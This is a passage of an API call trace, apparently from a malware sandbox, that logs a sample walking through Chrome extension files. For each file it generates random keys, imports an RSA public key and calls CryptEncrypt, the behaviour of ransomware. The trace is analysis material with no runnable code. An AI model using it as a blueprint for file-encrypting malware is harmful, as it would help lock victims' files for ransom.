Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.344] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.346] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.348] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.348] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.348] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.348] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.350] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.351] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.351] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.351] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.356] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.359] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b840) returned 1 [0215.359] CryptGetKeyParam (in: hKey=0x648b840, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.359] CryptEncrypt (in: hKey=0x648b840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x71a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x71a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.359] GetLastError () returned 0x0 [0215.359] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.359] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.361] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b300) returned 1 [0215.361] CryptGetKeyParam (in: hKey=0x648b300, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.361] CryptEncrypt (in: hKey=0x648b300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x71b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x71b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.361] GetLastError () returned 0x0 [0215.361] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.361] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.429] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.431] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.432] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.432] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.432] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.435] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.435] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.435] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.435] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.437] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b080) returned 1 [0215.438] CryptGetKeyParam (in: hKey=0x648b080, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.438] CryptEncrypt (in: hKey=0x648b080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x71c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x71c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.438] GetLastError () returned 0x0 [0215.438] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.438] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.443] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b100) returned 1 [0215.443] CryptGetKeyParam (in: hKey=0x648b100, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.443] CryptEncrypt (in: hKey=0x648b100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x71d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x71d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.443] GetLastError () returned 0x0 [0215.443] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.443] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.444] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.446] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.447] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.447] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.447] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.447] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.449] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.450] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.450] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.450] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.452] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b280) returned 1 [0215.452] CryptGetKeyParam (in: hKey=0x648b280, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.452] CryptEncrypt (in: hKey=0x648b280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x71e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x71e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.453] GetLastError () returned 0x0 [0215.453] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.453] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.454] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b380) returned 1 [0215.454] CryptGetKeyParam (in: hKey=0x648b380, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.454] CryptEncrypt (in: hKey=0x648b380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x71f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x71f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.455] GetLastError () returned 0x0 [0215.455] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.455] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.455] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0215.457] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.458] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.458] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.458] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.458] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.460] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.461] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.461] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.461] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.462] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.464] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b3c0) returned 1 [0215.464] CryptGetKeyParam (in: hKey=0x648b3c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.464] CryptEncrypt (in: hKey=0x648b3c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7200000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7200000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.464] GetLastError () returned 0x0 [0215.464] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.464] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.467] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b880) returned 1 [0215.467] CryptGetKeyParam (in: hKey=0x648b880, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.467] CryptEncrypt (in: hKey=0x648b880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7210000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7210000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.467] GetLastError () returned 0x0 [0215.467] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.467] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.467] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.469] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.470] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.470] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.470] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.470] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.472] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.473] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.473] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.473] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.473] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.475] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648ba80) returned 1 [0215.475] CryptGetKeyParam (in: hKey=0x648ba80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.475] CryptEncrypt (in: hKey=0x648ba80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7220000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7220000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.476] GetLastError () returned 0x0 [0215.476] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.476] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.480] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bb00) returned 1 [0215.480] CryptGetKeyParam (in: hKey=0x648bb00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.480] CryptEncrypt (in: hKey=0x648bb00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7230000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7230000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.481] GetLastError () returned 0x0 [0215.481] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.481] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.481] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.483] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.485] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.485] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.485] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.485] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.487] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.488] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.488] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.488] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.488] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.491] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bfc0) returned 1 [0215.491] CryptGetKeyParam (in: hKey=0x648bfc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.491] CryptEncrypt (in: hKey=0x648bfc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7240000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7240000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.491] GetLastError () returned 0x0 [0215.491] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.491] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.494] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bf80) returned 1 [0215.494] CryptGetKeyParam (in: hKey=0x648bf80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.494] CryptEncrypt (in: hKey=0x648bf80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7250000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7250000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.494] GetLastError () returned 0x0 [0215.494] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.495] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.614] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0215.617] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.619] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.619] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.619] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0215.619] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0215.621] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.622] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.622] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.622] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.622] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.625] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648bdc0) returned 1 [0215.625] CryptGetKeyParam (in: hKey=0x648bdc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.625] CryptEncrypt (in: hKey=0x648bdc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7260000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7260000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.625] GetLastError () returned 0x0 [0215.625] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.625] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0215.628] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b940) returned 1 [0215.628] CryptGetKeyParam (in: hKey=0x648b940, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.628] CryptEncrypt (in: hKey=0x648b940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7270000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7270000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.628] GetLastError () returned 0x0 [0215.628] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0215.628] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.629] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0215.631] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.632] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.632] 